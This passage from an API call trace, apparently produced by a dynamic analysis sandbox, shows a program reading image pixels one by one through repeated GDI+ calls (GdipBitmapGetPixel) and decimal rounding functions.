pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.113] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.113] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.113] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=170, y=0, color=0x1c6cc480) returned 0x0 [0124.113] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.113] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.113] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.113] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.113] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=171, y=0, color=0x1c6cc480) returned 0x0 [0124.113] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.113] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.114] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.114] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.114] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=172, y=0, color=0x1c6cc480) returned 0x0 [0124.114] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.114] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.114] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.114] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.114] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=173, y=0, color=0x1c6cc480) returned 0x0 [0124.114] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.114] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.114] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.114] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.114] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=174, y=0, color=0x1c6cc480) returned 0x0 [0124.114] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.115] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.115] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.115] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.115] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=175, y=0, color=0x1c6cc480) returned 0x0 [0124.115] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.115] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.115] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.115] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.115] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=176, y=0, color=0x1c6cc480) returned 0x0 [0124.115] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.115] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.115] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.115] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.115] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=177, y=0, color=0x1c6cc480) returned 0x0 [0124.115] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.116] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.116] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.116] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.116] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=178, y=0, color=0x1c6cc480) returned 0x0 [0124.116] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.116] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.116] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.116] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.116] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=179, y=0, color=0x1c6cc480) returned 0x0 [0124.116] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.116] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.116] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.117] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.117] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=180, y=0, color=0x1c6cc480) returned 0x0 [0124.117] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.117] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.117] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.117] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.117] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=181, y=0, color=0x1c6cc480) returned 0x0 [0124.117] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.117] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.117] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.117] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.117] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=182, y=0, color=0x1c6cc480) returned 0x0 [0124.118] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.118] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.118] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.118] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.118] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=183, y=0, color=0x1c6cc480) returned 0x0 [0124.118] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.118] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.118] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.118] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.118] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=184, y=0, color=0x1c6cc480) returned 0x0 [0124.118] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.118] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.119] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.119] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.119] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=185, y=0, color=0x1c6cc480) returned 0x0 [0124.119] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.119] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.119] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.119] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.119] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=186, y=0, color=0x1c6cc480) returned 0x0 [0124.119] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.119] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.119] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.119] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.119] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=187, y=0, color=0x1c6cc480) returned 0x0 [0124.120] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.120] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.120] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.120] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.120] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=188, y=0, color=0x1c6cc480) returned 0x0 [0124.120] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.120] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.120] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.120] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.120] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=189, y=0, color=0x1c6cc480) returned 0x0 [0124.120] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.120] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.121] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.121] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.121] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=190, y=0, color=0x1c6cc480) returned 0x0 [0124.121] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.121] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.121] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.121] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.121] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=191, y=0, color=0x1c6cc480) returned 0x0 [0124.121] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.121] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.121] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.121] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.122] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=192, y=0, color=0x1c6cc480) returned 0x0 [0124.122] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.122] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.122] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.122] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.122] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=193, y=0, color=0x1c6cc480) returned 0x0 [0124.122] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.122] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.122] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.122] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.122] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=194, y=0, color=0x1c6cc480) returned 0x0 [0124.122] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.123] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.123] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.123] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.123] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=195, y=0, color=0x1c6cc480) returned 0x0 [0124.123] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.123] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.123] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.123] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.123] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=196, y=0, color=0x1c6cc480) returned 0x0 [0124.123] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.123] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.123] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.123] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.124] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=197, y=0, color=0x1c6cc480) returned 0x0 [0124.124] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.124] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.124] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.124] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.124] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=198, y=0, color=0x1c6cc480) returned 0x0 [0124.124] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.124] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.124] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.124] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.125] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=199, y=0, color=0x1c6cc480) returned 0x0 [0124.125] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.125] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.125] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.125] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.125] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=200, y=0, color=0x1c6cc480) returned 0x0 [0124.125] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.125] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.125] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.125] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.125] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=201, y=0, color=0x1c6cc480) returned 0x0 [0124.125] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.126] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.126] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.126] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.126] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=202, y=0, color=0x1c6cc480) returned 0x0 [0124.126] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.126] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.126] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.126] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.126] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=203, y=0, color=0x1c6cc480) returned 0x0 [0124.126] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.126] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.126] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.126] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.126] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=204, y=0, color=0x1c6cc480) returned 0x0 [0124.127] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.127] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.127] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.127] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.127] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=205, y=0, color=0x1c6cc480) returned 0x0 [0124.127] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.127] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.127] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.127] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.127] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=206, y=0, color=0x1c6cc480) returned 0x0 [0124.127] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.127] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.127] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.127] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.128] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=207, y=0, color=0x1c6cc480) returned 0x0 [0124.128] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.128] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.128] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.128] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.128] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=208, y=0, color=0x1c6cc480) returned 0x0 [0124.128] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.128] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.128] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.128] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.128] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=209, y=0, color=0x1c6cc480) returned 0x0 [0124.128] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.128] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.129] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.129] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.129] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=210, y=0, color=0x1c6cc480) returned 0x0 [0124.129] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.129] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.129] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.129] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.129] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=211, y=0, color=0x1c6cc480) returned 0x0 [0124.129] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.129] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.129] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.129] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.129] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=212, y=0, color=0x1c6cc480) returned 0x0 [0124.130] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.130] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.130] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.130] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.130] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=213, y=0, color=0x1c6cc480) returned 0x0 [0124.130] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.130] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.130] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.130] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.130] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=214, y=0, color=0x1c6cc480) returned 0x0 [0124.130] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.131] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.131] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.131] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.131] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=215, y=0, color=0x1c6cc480) returned 0x0 [0124.131] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.131] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.131] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.131] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.131] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=216, y=0, color=0x1c6cc480) returned 0x0 [0124.131] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.131] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.131] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.131] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.132] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=217, y=0, color=0x1c6cc480) returned 0x0 [0124.132] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.132] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.132] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.132] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) returned 0x0 [0124.132] GdipBitmapGetPixel (bitmap=0x1cf641a0, x=218, y=0, color=0x1c6cc480) returned 0x0 [0124.132] VarDecInt (in: pdecIn=0x1c6cc540, pdecResult=0x1c6cc570 | out: pdecResult=0x1c6cc570) returned 0x0 [0124.132] VarDecRound (in: pdecIn=0x1c6cc490, cDecimals=0, pdecResult=0x1c6cc4d0 | out: pdecResult=0x1c6cc4d0) returned 0x0 [0124.132] GdipGetImageWidth (image=0x1cf641a0, width=0x1c6cc420) returned 0x0 [0124.132] GdipGetImageHeight (image=0x1cf641a0, height=0x1c6cc420) 